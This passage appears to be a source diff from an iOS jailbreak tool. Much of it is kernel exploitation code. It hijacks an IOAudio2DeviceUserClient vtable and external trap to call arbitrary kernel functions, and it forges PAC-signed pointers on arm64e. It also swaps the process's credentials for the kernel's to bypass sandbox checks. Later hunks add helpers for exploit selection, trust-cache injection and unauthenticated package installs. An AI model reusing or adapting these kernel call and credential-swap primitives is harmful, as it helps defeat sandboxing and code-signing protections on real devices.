// The connection to the user client.
|
||||
static io_connect_t connection;
|
||||
|
||||
// The address of the user client.
|
||||
static uint64_t user_client;
|
||||
|
||||
// The address of the IOExternalTrap.
|
||||
static uint64_t trap;
|
||||
|
||||
// The size of our kernel buffer.
|
||||
static const size_t kernel_buffer_size = 0x4000;
|
||||
|
||||
// The address of our kernel buffer.
|
||||
static uint64_t kernel_buffer;
|
||||
|
||||
// The maximum size of the vtable.
|
||||
static const size_t max_vtable_size = 0x1000;
|
||||
|
||||
// The user client's original vtable pointer.
|
||||
static uint64_t original_vtable;
|
||||
|
||||
// ---- Stage 1 -----------------------------------------------------------------------------------
|
||||
|
||||
/*
|
||||
* kernel_get_proc_for_task
|
||||
*
|
||||
* Description:
|
||||
* Get the proc struct for a task.
|
||||
*/
|
||||
static uint64_t
|
||||
kernel_get_proc_for_task(uint64_t task) {
|
||||
return kernel_read64(task + OFFSET(task, bsd_info));
|
||||
}
|
||||
|
||||
/*
|
||||
* stage0_create_user_client
|
||||
*
|
||||
* Description:
|
||||
* Create a connection to an IOAudio2DeviceUserClient object.
|
||||
*/
|
||||
static bool
|
||||
stage0_create_user_client() {
|
||||
bool success = false;
|
||||
// First get a handle to some IOAudio2Device driver.
|
||||
io_iterator_t iter;
|
||||
kern_return_t kr = IOServiceGetMatchingServices(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOAudio2Device"),
|
||||
&iter);
|
||||
if (iter == MACH_PORT_NULL) {
|
||||
ERROR("could not find services matching %s", "IOAudio2Device");
|
||||
goto fail_0;
|
||||
}
|
||||
// Now try to open each service in turn.
|
||||
for (;;) {
|
||||
// Get the service.
|
||||
mach_port_t IOAudio2Device = IOIteratorNext(iter);
|
||||
if (IOAudio2Device == MACH_PORT_NULL) {
|
||||
ERROR("could not open any %s", "IOAudio2Device");
|
||||
break;
|
||||
}
|
||||
// Now open a connection to it.
|
||||
kr = IOServiceOpen(
|
||||
IOAudio2Device,
|
||||
mach_task_self(),
|
||||
0,
|
||||
&connection);
|
||||
IOObjectRelease(IOAudio2Device);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
|
||||
DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
|
||||
}
|
||||
fail_1:
|
||||
IOObjectRelease(iter);
|
||||
fail_0:
|
||||
return success;
|
||||
}
|
||||
|
||||
/*
|
||||
* stage0_find_user_client_trap
|
||||
*
|
||||
* Description:
|
||||
* Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
|
||||
*/
|
||||
static void
|
||||
stage0_find_user_client_trap() {
|
||||
assert(MACH_PORT_VALID(connection));
|
||||
// Get the address of the port representing the IOAudio2DeviceUserClient.
|
||||
uint64_t user_client_port;
|
||||
bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
|
||||
assert(ok);
|
||||
// Get the address of the IOAudio2DeviceUserClient.
|
||||
user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
|
||||
// Get the address of the IOExternalTrap.
|
||||
trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
|
||||
DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
|
||||
}
|
||||
|
||||
/*
|
||||
* stage0_allocate_kernel_buffer
|
||||
*
|
||||
* Description:
|
||||
* Allocate a buffer in kernel memory.
|
||||
*/
|
||||
static bool
|
||||
stage0_allocate_kernel_buffer() {
|
||||
kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
|
||||
kernel_buffer_size, VM_FLAGS_ANYWHERE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
|
||||
ERROR("could not allocate kernel buffer");
|
||||
return false;
|
||||
}
|
||||
DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- Stage 3 -----------------------------------------------------------------------------------
|
||||
|
||||
/*
|
||||
* kernel_read_vtable_method
|
||||
*
|
||||
* Description:
|
||||
* Read the virtual method pointer at the specified index in the vtable.
|
||||
*/
|
||||
static uint64_t
|
||||
kernel_read_vtable_method(uint64_t vtable, size_t index) {
|
||||
uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
|
||||
return kernel_read64(vmethod_address);
|
||||
}
|
||||
|
||||
/*
|
||||
* stage2_copyout_user_client_vtable
|
||||
*
|
||||
* Description:
|
||||
* Copy out the user client's vtable to userspace. The returned array must be freed when no
|
||||
* longer needed.
|
||||
*/
|
||||
static uint64_t *
|
||||
stage2_copyout_user_client_vtable() {
|
||||
// Get the address of the vtable.
|
||||
original_vtable = kernel_read64(user_client);
|
||||
uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
|
||||
// Read the contents of the vtable to local buffer.
|
||||
uint64_t *vtable_contents = malloc(max_vtable_size);
|
||||
assert(vtable_contents != NULL);
|
||||
kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
|
||||
return vtable_contents;
|
||||
}
|
||||
|
||||
/*
|
||||
* stage2_patch_user_client_vtable
|
||||
*
|
||||
* Description:
|
||||
* Patch the contents of the user client's vtable in preparation for stage 3.
|
||||
*/
|
||||
static size_t
|
||||
stage2_patch_user_client_vtable(uint64_t *vtable) {
|
||||
// Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
|
||||
// original version (which calls IOUserClient::getExternalTrapForIndex()).
|
||||
uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
|
||||
ADDRESS(IOUserClient__vtable),
|
||||
VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
|
||||
vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
|
||||
= IOUserClient__getTargetAndTrapForIndex;
|
||||
// Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
|
||||
// IORegistryEntry::getRegistryEntryID().
|
||||
vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
|
||||
ADDRESS(IORegistryEntry__getRegistryEntryID);
|
||||
// Forge the pacia pointers to the virtual methods.
|
||||
size_t count = 0;
|
||||
for (; count < max_vtable_size / sizeof(*vtable); count++) {
|
||||
uint64_t vmethod = vtable[count];
|
||||
if (vmethod == 0) {
|
||||
break;
|
||||
}
|
||||
#if __arm64e__
|
||||
assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
|
||||
vmethod = kernel_xpaci(vmethod);
|
||||
uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
|
||||
vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
|
||||
VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
|
||||
#endif // __arm64e__
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/*
|
||||
* stage2_patch_user_client
|
||||
*
|
||||
* Description:
|
||||
* Patch the user client in preparation for stage 3.
|
||||
*/
|
||||
static void
|
||||
stage2_patch_user_client(uint64_t *vtable, size_t count) {
|
||||
// Write the vtable to the kernel buffer.
|
||||
kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
|
||||
// Overwrite the user client's registry entry ID to point to the IOExternalTrap.
|
||||
uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
|
||||
uint64_t reserved = kernel_read64(reserved_field);
|
||||
uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
|
||||
kernel_write64(id_field, trap);
|
||||
// Forge the pacdza pointer to the vtable.
|
||||
uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
|
||||
// Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
|
||||
kernel_write64(user_client, vtable_pointer);
|
||||
}
|
||||
|
||||
/*
|
||||
* stage2_unpatch_user_client
|
||||
*
|
||||
* Description:
|
||||
* Undo the patches to the user client.
|
||||
*/
|
||||
static void
|
||||
stage2_unpatch_user_client() {
|
||||
// Write the original vtable pointer back to the user client.
|
||||
kernel_write64(user_client, original_vtable);
|
||||
}
|
||||
|
||||
// ---- API ---------------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
stage1_kernel_call_init() {
|
||||
// Initialize the parameters. We do this first to fail early.
|
||||
bool ok = kernel_call_parameters_init();
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
// Create the IOAudio2DeviceUserClient.
|
||||
ok = stage0_create_user_client();
|
||||
if (!ok) {
|
||||
ERROR("could not create %s", "IOAudio2DeviceUserClient");
|
||||
return false;
|
||||
}
|
||||
// Find the IOAudio2DeviceUserClient's IOExternalTrap.
|
||||
stage0_find_user_client_trap();
|
||||
// Allocate the kernel buffer.
|
||||
ok = stage0_allocate_kernel_buffer();
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void
|
||||
stage1_kernel_call_deinit() {
|
||||
if (trap != 0) {
|
||||
// Zero out the trap.
|
||||
uint8_t trap_data[SIZE(IOExternalTrap)];
|
||||
memset(trap_data, 0, SIZE(IOExternalTrap));
|
||||
kernel_write(trap, trap_data, SIZE(IOExternalTrap));
|
||||
trap = 0;
|
||||
}
|
||||
if (kernel_buffer != 0) {
|
||||
// Deallocate our kernel buffer.
|
||||
mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
|
||||
kernel_buffer = 0;
|
||||
}
|
||||
if (MACH_PORT_VALID(connection)) {
|
||||
// Close the connection.
|
||||
IOServiceClose(connection);
|
||||
connection = MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t
|
||||
stage1_get_kernel_buffer() {
|
||||
assert(kernel_buffer_size >= 0x2000);
|
||||
return kernel_buffer + kernel_buffer_size - 0x1000;
|
||||
}
|
||||
|
||||
uint32_t
|
||||
stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
|
||||
assert(function != 0);
|
||||
assert(argument_count <= 7);
|
||||
assert(argument_count == 0 || arguments[0] != 0);
|
||||
assert(MACH_PORT_VALID(connection) && trap != 0);
|
||||
// Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
|
||||
uint64_t args[7] = { 1 };
|
||||
for (size_t i = 0; i < argument_count && i < 7; i++) {
|
||||
args[i] = arguments[i];
|
||||
}
|
||||
// Initialize the IOExternalTrap for this call.
|
||||
uint8_t trap_data[SIZE(IOExternalTrap)];
|
||||
FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
|
||||
FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
|
||||
FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
|
||||
kernel_write(trap, trap_data, SIZE(IOExternalTrap));
|
||||
// Perform the function call.
|
||||
uint32_t result = IOConnectTrap6(connection, 0,
|
||||
args[1], args[2], args[3], args[4], args[5], args[6]);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool
|
||||
stage3_kernel_call_init() {
|
||||
uint64_t *vtable = stage2_copyout_user_client_vtable();
|
||||
size_t count = stage2_patch_user_client_vtable(vtable);
|
||||
stage2_patch_user_client(vtable, count);
|
||||
SafeFreeNULL(vtable);
|
||||
return true;
|
||||
}
|
||||
|
||||
void
|
||||
stage3_kernel_call_deinit() {
|
||||
if (original_vtable != 0) {
|
||||
stage2_unpatch_user_client();
|
||||
original_vtable = 0;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t
|
||||
kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
|
||||
return stage2_kernel_call_7v(function, argument_count, arguments);
|
||||
}
|
||||
|
||||
void
|
||||
assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
|
||||
uint64_t proc_self = kernel_get_proc_for_task(current_task);
|
||||
uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
|
||||
uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
|
||||
uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
|
||||
uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
|
||||
uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
|
||||
kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
|
||||
*ucred_field = proc_self_ucred_field;
|
||||
*ucred = proc_self_ucred;
|
||||
}
|
||||
|
||||
void
|
||||
restore_credentials(uint64_t ucred_field, uint64_t ucred) {
|
||||
kernel_write64(ucred_field, ucred);
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
/*
|
||||
* kernel_call/user_client.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* stage1_kernel_call_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize stage 1 of kernel function calling.
|
||||
*
|
||||
* Initializes:
|
||||
* kernel_call_parameters_init()
|
||||
* stage1_kernel_call_7v()
|
||||
*/
|
||||
bool stage1_kernel_call_init(void);
|
||||
|
||||
/*
|
||||
* stage1_kernel_call_deinit
|
||||
*
|
||||
* Description:
|
||||
* Deinitialize stage 1 of kernel function calling.
|
||||
*/
|
||||
void stage1_kernel_call_deinit(void);
|
||||
|
||||
/*
|
||||
* stage1_get_kernel_buffer
|
||||
*
|
||||
* Description:
|
||||
* Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
|
||||
* stages.
|
||||
*/
|
||||
uint64_t stage1_get_kernel_buffer(void);
|
||||
|
||||
/*
|
||||
* stage1_kernel_call_7v
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function using our stage 1 execute primitive.
|
||||
*
|
||||
* Restrictions:
|
||||
* At most 7 arguments can be passed.
|
||||
* The return value is truncated to 32 bits.
|
||||
* At stage 1, only arguments X1 - X6 are controlled.
|
||||
* The function pointer must already have a PAC signature.
|
||||
*/
|
||||
uint32_t stage1_kernel_call_7v(uint64_t function,
|
||||
size_t argument_count, const uint64_t arguments[]);
|
||||
|
||||
/*
|
||||
* stage3_kernel_call_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize stage 3 of kernel function calling.
|
||||
*
|
||||
* Initializes:
|
||||
* kernel_call_7v()
|
||||
*/
|
||||
bool stage3_kernel_call_init(void);
|
||||
|
||||
/*
|
||||
* stage3_kernel_call_deinit
|
||||
*
|
||||
* Description:
|
||||
* Deinitialize stage 3 of kernel function calling.
|
||||
*/
|
||||
void stage3_kernel_call_deinit(void);
|
||||
|
||||
/*
|
||||
* assume_kernel_credentials
|
||||
*
|
||||
* Description:
|
||||
* Set this process's credentials to the kernel's credentials so that we can bypass sandbox
|
||||
* checks.
|
||||
*/
|
||||
void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
|
||||
/*
|
||||
* restore_credentials
|
||||
*
|
||||
* Description:
|
||||
* Restore this process's credentials after calling assume_kernel_credentials().
|
||||
*/
|
||||
void restore_credentials(uint64_t ucred_field, uint64_t ucred);
|
||||
|
||||
#endif
|
||||
@@ -10,27 +10,17 @@
|
||||
#define _UTILS_H
|
||||
#import <sys/types.h>
|
||||
#import <sys/stat.h>
|
||||
#import "ArchiveFile.h"
|
||||
|
||||
#define system(x) _system(x)
|
||||
extern int logfd;
|
||||
extern bool injectedToTrustCache;
|
||||
extern NSMutableArray *toInjectToTrustCache;
|
||||
|
||||
#define DEFAULT_VERSION_STRING "Hacked"
|
||||
#define SLIDE_FILE "/var/tmp/slide.txt"
|
||||
|
||||
typedef enum {
|
||||
empty_list_exploit = 0,
|
||||
multi_path_exploit,
|
||||
async_wake_exploit,
|
||||
voucher_swap_exploit,
|
||||
mach_swap_exploit,
|
||||
mach_swap_2_exploit,
|
||||
deja_xnu_exploit,
|
||||
necp_exploit,
|
||||
kalloc_crash
|
||||
} exploit_t;
|
||||
#define empty_list_exploit 0
|
||||
#define multi_path_exploit 1
|
||||
#define async_wake_exploit 2
|
||||
#define deja_xnu_exploit 3
|
||||
#define necp_exploit 4
|
||||
|
||||
enum hashtype {
|
||||
HASHTYPE_MD5 = 0,
|
||||
@@ -38,16 +28,6 @@ enum hashtype {
|
||||
};
|
||||
int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
|
||||
|
||||
@interface LSApplicationWorkspace : NSObject
|
||||
+ (id) defaultWorkspace;
|
||||
- (BOOL) registerApplication:(id)application;
|
||||
- (BOOL) unregisterApplication:(id)application;
|
||||
- (BOOL) invalidateIconCache:(id)bundle;
|
||||
- (BOOL) registerApplicationDictionary:(id)application;
|
||||
- (BOOL) installApplication:(id)application withOptions:(id)options;
|
||||
- (BOOL) _LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)system internal:(BOOL)internal user:(BOOL)user;
|
||||
@end
|
||||
|
||||
static inline bool create_file_data(const char *file, int owner, mode_t mode, NSData *data) {
|
||||
return [[NSFileManager defaultManager] createFileAtPath:@(file) contents:data attributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
@@ -101,8 +81,6 @@ bool aptUpdate(void);
|
||||
bool aptInstall(NSArray <NSString*> *pkgs);
|
||||
bool aptUpgrade(void);
|
||||
bool runApt(NSArray <NSString*> *args);
|
||||
bool extractAptPkgList(NSString *path, ArchiveFile* listcache, id_t owner);
|
||||
bool ensureAptPkgLists(void);
|
||||
bool is_symlink(const char *filename);
|
||||
bool is_directory(const char *filename);
|
||||
bool is_mountpoint(const char *filename);
|
||||
@@ -114,15 +92,10 @@ int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unre
|
||||
int runCommand(const char *cmd, ...);
|
||||
NSString *pathForResource(NSString *resource);
|
||||
pid_t pidOfProcess(const char *name);
|
||||
char *getKernelVersion(void);
|
||||
char *getMachineName(void);
|
||||
char *getModelName(void);
|
||||
bool kernelVersionContains(const char *string);
|
||||
bool machineNameContains(const char *string);
|
||||
bool multi_path_tcp_enabled(void);
|
||||
bool jailbreakEnabled(void);
|
||||
NSString *getKernelBuildVersion(void);
|
||||
bool supportsExploit(exploit_t exploit);
|
||||
bool supportsExploit(NSInteger exploit);
|
||||
bool jailbreakSupported(void);
|
||||
bool respringSupported(void);
|
||||
bool restartSupported(void);
|
||||
@@ -133,35 +106,12 @@ bool daemonIsLoaded(char *daemonID);
|
||||
NSString *bundledResourcesVersion(void);
|
||||
NSString *appVersion(void);
|
||||
bool debuggerEnabled(void);
|
||||
NSString *getLogFile(void);
|
||||
const char *getLogFile(void);
|
||||
void enableLogging(void);
|
||||
void disableLogging(void);
|
||||
void cleanLogs(void);
|
||||
bool modifyPlist(NSString *filename, void (^function)(id));
|
||||
void list(NSString *directory);
|
||||
bool canRead(const char *file);
|
||||
bool restartSpringBoard(void);
|
||||
bool uninstallRootLessJB(void);
|
||||
bool verifyECID(NSString *ecid);
|
||||
bool canOpen(const char *URL);
|
||||
bool airplaneModeEnabled(void);
|
||||
bool installApp(const char *bundle);
|
||||
bool rebuildApplicationDatabases(void);
|
||||
char *get_path_for_pid(pid_t pid);
|
||||
NSString *getECID(void);
|
||||
NSString *getUDID(void);
|
||||
char *sysctlWithName(const char *name);
|
||||
char *getOSVersion(void);
|
||||
char *getOSProductVersion(void);
|
||||
void printOSDetails(void);
|
||||
bool isBetaFirmware(void);
|
||||
double getUptime(void);
|
||||
vm_size_t get_kernel_page_size(void);
|
||||
int waitForFile(const char *filename);
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
void waitFor(int seconds);
|
||||
void blockDomainWithName(const char *name);
|
||||
void unblockDomainWithName(const char *name);
|
||||
|
||||
extern NSData *lastSystemOutput;
|
||||
|
||||
|
||||
+228
-580
@@ -6,7 +6,7 @@
|
||||
// Copyright © 2018 - 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#import <mach/mach.h>
|
||||
#import <mach/error.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CommonCrypto/CommonDigest.h>
|
||||
@@ -17,42 +17,14 @@
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <MobileGestalt.h>
|
||||
#import <inject.h>
|
||||
#include <UIKit/UIKit.h>
|
||||
#include <SystemConfiguration/SystemConfiguration.h>
|
||||
#import "ArchiveFile.h"
|
||||
#import "utils.h"
|
||||
#import "KernelUtilities.h"
|
||||
|
||||
extern char **environ;
|
||||
int logfd=-1;
|
||||
|
||||
bool injectedToTrustCache = false;
|
||||
NSMutableArray *toInjectToTrustCache = nil;
|
||||
|
||||
static NSString *sourcePath=nil;
|
||||
NSData *lastSystemOutput=nil;
|
||||
void injectDir(NSString *dir) {
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
NSMutableArray *toInject = [NSMutableArray new];
|
||||
for (NSString *filename in [fm contentsOfDirectoryAtPath:dir error:nil]) {
|
||||
NSString *file = [dir stringByAppendingPathComponent:filename];
|
||||
if (cdhashFor(file) != nil) {
|
||||
[toInject addObject:file];
|
||||
}
|
||||
}
|
||||
LOG("Will inject %lu files for %@", (unsigned long)toInject.count, dir);
|
||||
if (toInject.count > 0) {
|
||||
if (injectedToTrustCache) {
|
||||
LOG("Warning: Trust cache already injected");
|
||||
}
|
||||
for (NSString *path in toInject) {
|
||||
if (![toInjectToTrustCache containsObject:path]) {
|
||||
[toInjectToTrustCache addObject:path];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int sha1_to_str(const unsigned char *hash, size_t hashlen, char *buf, size_t buflen)
|
||||
{
|
||||
@@ -259,30 +231,7 @@ bool extractDeb(NSString *debPath) {
|
||||
dispatch_async(extractionQueue, ^{
|
||||
[deb extractFileNum:3 toFd:pipe.fileHandleForWriting.fileDescriptor];
|
||||
});
|
||||
bool result = [tar extractToPath:@"/"];
|
||||
if ((kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) && result) {
|
||||
chdir("/");
|
||||
NSMutableArray *toInject = [NSMutableArray new];
|
||||
NSDictionary *files = tar.files;
|
||||
for (NSString *file in files.allKeys) {
|
||||
NSString *path = [@"/" stringByAppendingString:[file stringByStandardizingPath]];
|
||||
if (cdhashFor(path) != nil) {
|
||||
[toInject addObject:path];
|
||||
}
|
||||
}
|
||||
LOG("Will inject %lu files for %@", (unsigned long)toInject.count, debPath);
|
||||
if (toInject.count > 0) {
|
||||
if (injectedToTrustCache) {
|
||||
LOG("Warning: Trust cache already injected");
|
||||
}
|
||||
for (NSString *path in toInject) {
|
||||
if (![toInjectToTrustCache containsObject:path]) {
|
||||
[toInjectToTrustCache addObject:path];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
return [tar extractToPath:@"/"];
|
||||
}
|
||||
|
||||
bool extractDebs(NSArray <NSString *> *debPaths) {
|
||||
@@ -356,25 +305,6 @@ bool aptUpgrade() {
|
||||
return runApt(@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"-f", @"dist-upgrade"]);
|
||||
}
|
||||
|
||||
bool extractAptPkgList(NSString *path, ArchiveFile* listcache, id_t owner)
|
||||
{
|
||||
struct stat buf;
|
||||
if (stat(path.UTF8String, &buf) != ERR_SUCCESS || !S_ISDIR(buf.st_mode)) {
|
||||
if (!ensure_directory(path.UTF8String, owner, 0755)) return false;
|
||||
return [listcache extractToPath:path withOwner:owner andGroup:owner];
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ensureAptPkgLists() {
|
||||
NSString *lists = pathForResource(@"lists.tar.lzma");
|
||||
if (!lists) return false;
|
||||
ArchiveFile *listsArchive = [ArchiveFile archiveWithFile:lists];
|
||||
if (!listsArchive) return false;
|
||||
bool success = extractAptPkgList(@"/var/lib/apt/lists", listsArchive, 0);
|
||||
return success && extractAptPkgList(@"/var/mobile/Library/Caches/com.saurik.Cydia/lists", listsArchive, 501);
|
||||
}
|
||||
|
||||
bool is_symlink(const char *filename) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
@@ -408,7 +338,7 @@ bool is_mountpoint(const char *filename) {
|
||||
assert(rv == ERR_SUCCESS);
|
||||
if (cwd) {
|
||||
chdir(cwd);
|
||||
SafeFreeNULL(cwd);
|
||||
free(cwd);
|
||||
}
|
||||
return buf.st_dev != p_buf.st_dev || buf.st_ino == p_buf.st_ino;
|
||||
}
|
||||
@@ -470,12 +400,12 @@ bool ensure_file(const char *file, int owner, mode_t mode) {
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
id attributes = [fm attributesOfItemAtPath:path error:nil];
|
||||
if (attributes &&
|
||||
[attributes[NSFileType] isEqual:NSFileTypeRegular] &&
|
||||
[attributes[NSFileType] isEqual:NSFileTypeDirectory] &&
|
||||
[attributes[NSFileOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFileGroupOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFilePosixPermissions] isEqual:@(mode)]
|
||||
) {
|
||||
// File exists and matches arguments
|
||||
// Directory exists and matches arguments
|
||||
return true;
|
||||
}
|
||||
if (attributes) {
|
||||
@@ -609,12 +539,6 @@ int runCommand(const char *cmd, ...) {
|
||||
}
|
||||
|
||||
NSString *pathForResource(NSString *resource) {
|
||||
static NSString *sourcePath;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
sourcePath = [[NSBundle mainBundle] bundlePath];
|
||||
});
|
||||
|
||||
NSString *path = [[sourcePath stringByAppendingPathComponent:resource] stringByStandardizingPath];
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:path]) {
|
||||
return nil;
|
||||
@@ -627,203 +551,252 @@ pid_t pidOfProcess(const char *name) {
|
||||
pid_t pids[numberOfProcesses];
|
||||
bzero(pids, sizeof(pids));
|
||||
proc_listpids(PROC_ALL_PIDS, 0, pids, (int)sizeof(pids));
|
||||
bool foundProcess = false;
|
||||
pid_t processPid = 0;
|
||||
for (int i = 0; i < numberOfProcesses && !foundProcess; ++i) {
|
||||
for (int i = 0; i < numberOfProcesses; ++i) {
|
||||
if (pids[i] == 0) {
|
||||
continue;
|
||||
}
|
||||
char *path = get_path_for_pid(pids[i]);
|
||||
if (path != NULL) {
|
||||
if (strlen(path) > 0 && strcmp(path, name) == 0) {
|
||||
processPid = pids[i];
|
||||
foundProcess = true;
|
||||
}
|
||||
SafeFreeNULL(path);
|
||||
char pathBuffer[PROC_PIDPATHINFO_MAXSIZE];
|
||||
bzero(pathBuffer, PROC_PIDPATHINFO_MAXSIZE);
|
||||
proc_pidpath(pids[i], pathBuffer, sizeof(pathBuffer));
|
||||
if (strlen(pathBuffer) > 0 && strcmp(pathBuffer, name) == 0) {
|
||||
return pids[i];
|
||||
}
|
||||
}
|
||||
return processPid;
|
||||
}
|
||||
|
||||
char *getKernelVersion() {
|
||||
return sysctlWithName("kern.version");
|
||||
}
|
||||
|
||||
char *getMachineName() {
|
||||
return sysctlWithName("hw.machine");
|
||||
}
|
||||
char *getModelName() {
|
||||
return sysctlWithName("hw.model");
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool kernelVersionContains(const char *string) {
|
||||
char *kernelVersion = getKernelVersion();
|
||||
if (kernelVersion == NULL) return false;
|
||||
bool ret = strstr(kernelVersion, string) != NULL;
|
||||
SafeFreeNULL(kernelVersion);
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool machineNameContains(const char *string) {
|
||||
char *machineName = getMachineName();
|
||||
if (machineName == NULL) return false;
|
||||
bool ret = strstr(machineName, string) != NULL;
|
||||
SafeFreeNULL(machineName);
|
||||
return ret;
|
||||
struct utsname u = { 0 };
|
||||
uname(&u);
|
||||
return (strstr(u.version, string) != NULL);
|
||||
}
|
||||
|
||||
#define AF_MULTIPATH 39
|
||||
|
||||
bool multi_path_tcp_enabled() {
|
||||
static bool enabled = false;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
return;
|
||||
}
|
||||
struct sockaddr* sockaddr_src = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_src, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_src->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_src->sa_family = AF_INET6;
|
||||
struct sockaddr* sockaddr_dst = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_dst, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_dst->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_dst->sa_family = AF_INET;
|
||||
sa_endpoints_t eps = {0};
|
||||
eps.sae_srcif = 0;
|
||||
eps.sae_srcaddr = sockaddr_src;
|
||||
eps.sae_srcaddrlen = sizeof(struct sockaddr);
|
||||
eps.sae_dstaddr = sockaddr_dst;
|
||||
eps.sae_dstaddrlen = sizeof(struct sockaddr);
|
||||
connectx(sock, &eps, SAE_ASSOCID_ANY, 0, NULL, 0, NULL, NULL);
|
||||
enabled = (errno != EPERM);
|
||||
SafeFreeNULL(sockaddr_src);
|
||||
SafeFreeNULL(sockaddr_dst);
|
||||
close(sock);
|
||||
});
|
||||
return enabled;
|
||||
bool rv = false;
|
||||
int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
return rv;
|
||||
}
|
||||
